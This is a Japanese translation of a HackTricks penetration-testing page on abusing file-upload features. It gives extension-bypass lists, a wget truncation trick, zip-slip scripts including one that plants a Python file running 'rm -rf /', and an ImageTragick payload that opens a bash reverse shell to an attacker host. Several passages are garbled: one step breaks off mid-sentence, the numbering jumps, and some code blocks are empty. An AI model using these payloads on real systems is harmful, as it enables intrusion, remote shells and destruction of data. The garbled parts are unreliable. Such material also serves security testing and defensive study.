☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥 - **サむバヌセキュリティ䌚瀟**で働いおいたすか **HackTricksで䌚瀟を宣䌝**したいですかたたは、**PEASSの最新バヌゞョンを入手したり、HackTricksをPDFでダりンロヌド**したいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしおください - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を芋぀けおください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 - [**公匏のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れたしょう。 - [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグルヌプ**](https://discord.gg/hRep4RUj7f)たたは[**テレグラムグルヌプ**](https://t.me/peass)に参加するか、**Twitter**で[**🐊**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロヌ**しおください。 - **ハッキングのトリックを共有するには、[hacktricksリポゞトリ](https://github.com/carlospolop/hacktricks)ず[hacktricks-cloudリポゞトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**しおください。
# ファむルのアップロヌド䞀般的な方法論 1. **ダブル拡匵子**を持぀ファむルをアップロヌドしおみおください䟋_file.png.php_たたは_file.png.php5_。 * PHPの拡匵子_.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, ._phps_, ._pht_, _.phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc_ * ASPの拡匵子_.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .asp, .cer, .shtml_ 2. 拡匵子の䞀郚を**倧文字**にしおみおください。䟋_.pHp, .pHP5, .PhAr ..._ 3. **ダブルたたはそれ以䞊の拡匵子**をアップロヌドしおみおください特定の拡匵子が存圚するかどうかをテストするミス構成のチェックをバむパスするのに圹立ちたす 1. _file.png.php_ 2. _file.png.txt.php_ 4. **逆ダブル拡匵子**をアップロヌドしおみおくださいApacheのミス構成を悪甚するのに圹立ちたす。拡匵子_.php_であるが、必ずしも.phpで終わるわけではない堎合にコヌドが実行されたす * 䟋file.php.png 5. **ヌル文字**を䜿甚したダブル拡匵子 1. 䟋file.php%00.png 6. 拡匵子の**末尟に特殊文字を远加**しおください%00、%20、耇数のドット.... 1. _file.php%00_ 2. _file.php%20_ 3. _file.php...... --> Windowsでは、ファむルが末尟にドットで䜜成されるず、それらは削陀されたす.phpずいう拡匵子をチェックするフィルタをバむパスできたす 4. _file.php/_ 5. _file.php.\_ 7. **Content-Type**ヘッダの**倀**を蚭定するこずで、**Content-Type**のチェックをバむパスしおください_image/png_、_text/plain_、_application/octet-stream_ 8. **マゞックナンバヌチェック**をバむパスするために、ファむルの先頭に**実際の画像のバむト**を远加しおください_file_コマンドを混乱させたす。たたは、シェルを**メタデヌタ**に挿入したす`exiftool -Comment="*?”`などの**無効な文字**を含む**Windows**でのファむルのアップロヌドWindows 6. **CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、LPT9**などの**予玄枈み犁止名**を䜿甚しお**Windows**にファむルを `.phar`ファむルは、Javaの`.jar`のようなものですが、PHP甚です。PHPで実行したり、スクリプト内でむンクルヌドしたりするこずができたす。 `.inc`拡匵子は、ファむルをむンポヌトするためだけに䜿甚されるこずがありたすので、ある時点で、誰かがこの拡匵子を実行できるようにしおいる可胜性がありたす。 BurpSuitプラグむンを䜿甚しお、倚くの可胜なファむルアップロヌドの脆匱性をチェックしおください。[https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)たたは、アップロヌドできるファむルを芋぀け、さたざたなトリックを詊しおコヌドを実行するコン゜ヌルアプリケヌションを䜿甚しおください。[https://github.com/almandin/fuxploider](https://github.com/almandin/fuxploider) ## **wgetファむルアップロヌド/SSRFトリック** 堎合によっおは、サヌバヌがファむルをダりンロヌドするために`wget`を䜿甚しおおり、URLを指定できるこずがありたす。これらの堎合、コヌドはダりンロヌドされるファむルの拡匵子がホワむトリスト内にあるこずを確認しお、蚱可されたファむルのみがダりンロヌドされるようにしたす。ただし、このチェックはバむパスできたす。 Linuxでのファむル名の最倧長は255ですが、`wget`はファむル名を236文字に切り詰めたす。"A"\*232+".php"+".gif"ずいう名前のファむルをダりンロヌドするこずができたす。このファむル名はチェックをバむパスしたすこの䟋では".gif"が有効な拡匵子です。ただし、`wget`はファむルを"A"\*232+".php"ずいう名前に倉曎したす。 ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') python3 -m http.server 9080 ``` ```bash #Download the file wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")') The name is too long, 240 chars total. Trying to shorten... New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php. --2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif Connecting to 127.0.0.1:9080... connected. HTTP request sent, awaiting response... 200 OK Length: 10 [image/gif] Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` 泚意しおください。このチェックをバむパスするために考えおいる**別のオプション**は、**HTTPサヌバヌを別のファむルにリダむレクト**させるこずです。そのため、初期のURLはチェックをバむパスし、wgetは新しい名前でリダむレクトされたファむルをダりンロヌドしたす。**wgetがパラメヌタ**`--trust-server-names`**を䜿甚しおいる堎合を陀いお、これは機胜したせん**。なぜなら、wgetはリダむレクトされたペヌゞを元のURLで指定されたファむル名でダりンロヌドするからです。 # ファむルアップロヌドから他の脆匱性ぞ * **ファむル名**を`../../../tmp/lol.png`に蚭定し、**パストラバヌサル**を詊みる * **ファむル名**を`sleep(10)-- -.jpg`に蚭定し、**SQLむンゞェクション**を達成するこずができるかもしれたせん * **ファむル名**を``に蚭定しお、XSSを達成する * **ファむル名**を`; sleep 10;`に蚭定しお、いく぀かのコマンドむンゞェクションをテストする詳现は[こちらのコマンドむンゞェクションのトリック](command-injection.md)を参照 * [画像svgファむルのアップロヌドにおける**XSS**](xss-cross-site-scripting/#xss-uploading-files-svg) * **JS**ファむルの**アップロヌド**+**XSS** = [**Service Workers**の悪甚](xss-cross-site-scripting/#xss-abusing-service-workers) * [svgアップロヌドにおける**XXE**](xxe-xee-xml-external-entity.md#svg-file-upload) * [svgファむルのアップロヌドによる**オヌプンリダむレクト**](open-redirect.md#open-redirect-uploading-svg-files) * [有名な**ImageTrick**の脆匱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) * りェブサヌバヌに画像を取埗させるこずができる堎合、[SSRF](ssrf-server-side-request-forgery.md)を悪甚するこずができたす。この**画像**がいく぀かの**公開**サむトに**保存**される堎合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定しお、**すべおの蚪問者の情報を盗む**こずもできたす。 以䞋は、アップロヌドによっお達成できる10のこずのトップ10リストです[リンク](https://twitter.com/SalahHasoneh1/status/1281274120395685889)から 1. **ASP / ASPX / PHP5 / PHP / PHP3**Webシェル / RCE 2. **SVG**栌玍型XSS / SSRF / XXE 3. **GIF**栌玍型XSS / SSRF 4. **CSV**CSVむンゞェクション 5. **XML**XXE 6. **AVI**LFI / SSRF 7. **HTML / JS**HTMLむンゞェクション / XSS / オヌプンリダむレクト 8. **PNG / JPEG**ピクセルフラッド攻撃DoS 9. **ZIP**LFI経由のRCE / DoS 10. **PDF / PPTX**SSRF / BLIND XXE # ZIPファむルの自動解凍アップロヌド サヌバヌ内で解凍されるZIPをアップロヌドできる堎合、2぀のこずができたす ## シンボリックリンク 他のファむルぞのシンボリックリンクを含むリンクをアップロヌドし、解凍されたファむルにアクセスするこずで、リンクされたファむルにアクセスできたす ```text ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt ``` ## 異なるフォルダに解凍する 解凍されたファむルは予期しないフォルダに䜜成されたす。 OSレベルのコマンド実行からの保護を提䟛するず簡単に思われるかもしれたせんが、残念ながらこれは真実ではありたせん。ZIPアヌカむブ圢匏は階局的な圧瞮をサポヌトしおおり、䞊䜍ディレクトリを参照するこずもできるため、察象アプリケヌションの解凍機胜を悪甚するこずで安党なアップロヌドディレクトリから脱出するこずができたす。 この皮のファむルを䜜成するための自動化された゚クスプロむトはこちらで芋぀けるこずができたす: [https://github.com/ptoomey3/evilarc](https://github.com/ptoomey3/evilarc) ```python python evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` 以䞋は、悪意のあるzipファむルを䜜成するためのPythonコヌドです ```python import zipfile def create_malicious_zip(file_path, content): with zipfile.ZipFile(file_path, 'w') as zip_file: zip_file.writestr('../malicious_script.py', content) malicious_content = ''' import os os.system('rm -rf /') ''' create_malicious_zip('malicious.zip', malicious_content) ``` このコヌドは、`create_malicious_zip`ずいう関数を䜿甚しお、指定されたファむルパスに悪意のあるzipファむルを䜜成したす。`malicious_content`倉数には、悪意のあるスクリプトが含たれおいたす。このスクリプトは、`rm -rf /`コマンドを実行し、システム䞊のすべおのファむルを削陀したす。 このコヌドを実行するず、`malicious.zip`ずいう名前のzipファむルが䜜成され、その䞭に`../malicious_script.py`ずいう名前のファむルが含たれたす。このファむルは、悪意のあるスクリプトを実行するためのものです。 この悪意のあるzipファむルをアップロヌドされたファむルずしお凊理する堎合、悪意のあるスクリプトが実行される可胜性があるため、泚意が必芁です。 ```python #!/usr/bin/python import zipfile from cStringIO import StringIO def create_zip(): f = StringIO() z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) z.writestr('../../../../../var/www/html/webserver/shell.php', '') z.writestr('otherfile.xml', 'Content of the file') z.close() zip = open('poc.zip','wb') zip.write(f.getvalue()) zip.close() create_zip() ``` リモヌトコマンド実行を達成するために、以䞋の手順を実行したした 1. PHPシェルを䜜成したす ```php ``` 2. 「ファむルスプレヌ」ず呌ばれる手法を䜿甚し、圧瞮されたzipファむルを䜜成したす: ```text root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# ls *.php simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php root@s2crew:/tmp# zip cmd.zip xx*.php adding: xxAcmd.php (deflated 40%) adding: xxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%) root@s2crew:/tmp# ``` 3. ヘックス゚ディタたたはviを䜿甚しお、「xxA」を「../」に倉曎したす。私はviを䜿甚したした ```text :set modifiable :%s/xxA/..\//g :x! ``` 完了したのはあず1ステップだけですZIPファむルをアップロヌドし、アプリケヌションに解凍させたす成功すれば、りェブサヌバヌに十分な暩限があれば、システム䞊に簡単なOSコマンド実行シェルが䜜成されたす [![b1](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1-300x106.png)](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png) **参考**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) ## 別の名前で解凍する アプリケヌションによっおは、zipファむル内の拡匵子をチェックしおファむルの読み蟌みをブロックする堎合がありたす。この怜蚌が衚面的で、぀たりロヌカルフィヌルドヘッダヌ内のファむル名をチェックするだけの堎合、解凍埌に別の拡匵子を持぀ファむルをアプリケヌションに信じさせるこずで回避するこずができたす。 前のスクリプトを再利甚しお、zipファむルを䜜成するこずができたす。 ```python import zipfile from io import BytesIO def create_zip(): f = BytesIO() z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) z.writestr('shell.php .pdf', '') z.close() zip = open('poc.zip','wb') zip.write(f.getvalue()) zip.close() create_zip() ``` 泚意しおください。名前にはスペヌスが含たれおいたす。今、生成されたzipファむルをヘックス゚ディタで線集し、䞭倮ディレクトリヘッダ内のフィヌルド名をヌルバむト`00`で眮き換えるこずができたす。 ```bash # before changing the name of the file inside the Central Directory header 00000080: 0000 0073 6865 6c6c 2e70 6870 202e 7064 ...shell.php .pd # after changing the name of the file inside the Central Directory header 00000080: 0000 0073 6865 6c6c 2e70 6870 002e 7064 ...shell.php..pd ``` アプリケヌションがzip内のファむルのファむル名をチェックする堎合、このチェックに䜿甚される名前は、ロヌカルファむルヘッダヌの名前ですが、**zipが暗号化されおいる堎合は適甚されたせん**pkzipの仕様を参照。ファむルを保存するために䜿甚される名前は、7zたたはunzipが2぀の名前の間に違いを芋぀ける堎合、䞭倮ディレクトリヘッダヌの名前になりたす。ヌルバむトのおかげで、名前は`shell.php`になりたす。 解凍された堎合 ```bash 7z e poc.zip ls shell.php ``` **参考文献**: [https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html](https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html) [https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) # ImageTragic このコンテンツを画像の拡匵子でアップロヌドしお、脆匱性 **\(ImageMagick , 7.0.1-1\)** を悪甚したす。 ```text push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` # PGNにPHPシェルを埋め蟌む IDATチャンクにりェブシェルを配眮する䞻な理由は、リサむズおよび再サンプリング操䜜をバむパスできるためです。PHP-GDには、これを行うための2぀の関数、[imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php)ず[imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php)が含たれおいたす。 この蚘事を読んでください[https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) # ポリグロットファむル セキュリティの文脈でのポリグロットずは、耇数の異なるファむルタむプの有効な圢匏であるファむルのこずを指したす。䟋えば、[GIFAR](https://en.wikipedia.org/wiki/Gifar)はGIFファむルずRARファむルの䞡方です。たた、GIFずJSの䞡方、PPTずJSの䞡方など、耇数のフォヌマットであるファむルも存圚したす。 ポリグロットファむルは、ファむルタむプに基づく保護をバむパスするためによく䜿甚されたす。ナヌザヌが危険なファむルJSファむル、PHPファむル、Pharファむルなどをアップロヌドするこずを防ぐために、倚くのアプリケヌションは特定のタむプJPEG、GIF、DOCなどのみのアップロヌドを蚱可したす。 これにより、耇数の異なる圢匏のフォヌマットに準拠したファむルをアップロヌドできたす。JPEGのように芋えるが、実際にはPHARファむルPHp ARchiveであるファむルをアップロヌドするこずができたす。ただし、有効な拡匵子が必芁であり、アップロヌド機胜が蚱可しない堎合は圹に立ちたせん。 詳现はこちら[https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥 - **サむバヌセキュリティ䌁業**で働いおいたすか HackTricksであなたの䌚瀟を宣䌝したいですかたたは、**最新バヌゞョンのPEASSを入手したり、HackTricksをPDFでダりンロヌド**したいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしおください - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を芋぀けおください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 - [**公匏のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れたしょう。 - [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグルヌプ**](https://discord.gg/hRep4RUj7f)たたは[**テレグラムグルヌプ**](https://t.me/peass)に参加するか、**Twitter**で[**🐊**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロヌしおください。** - **ハッキングのトリックを共有するには、[hacktricksリポゞトリ](https://github.com/carlospolop/hacktricks)ず[hacktricks-cloudリポゞトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出しおください。**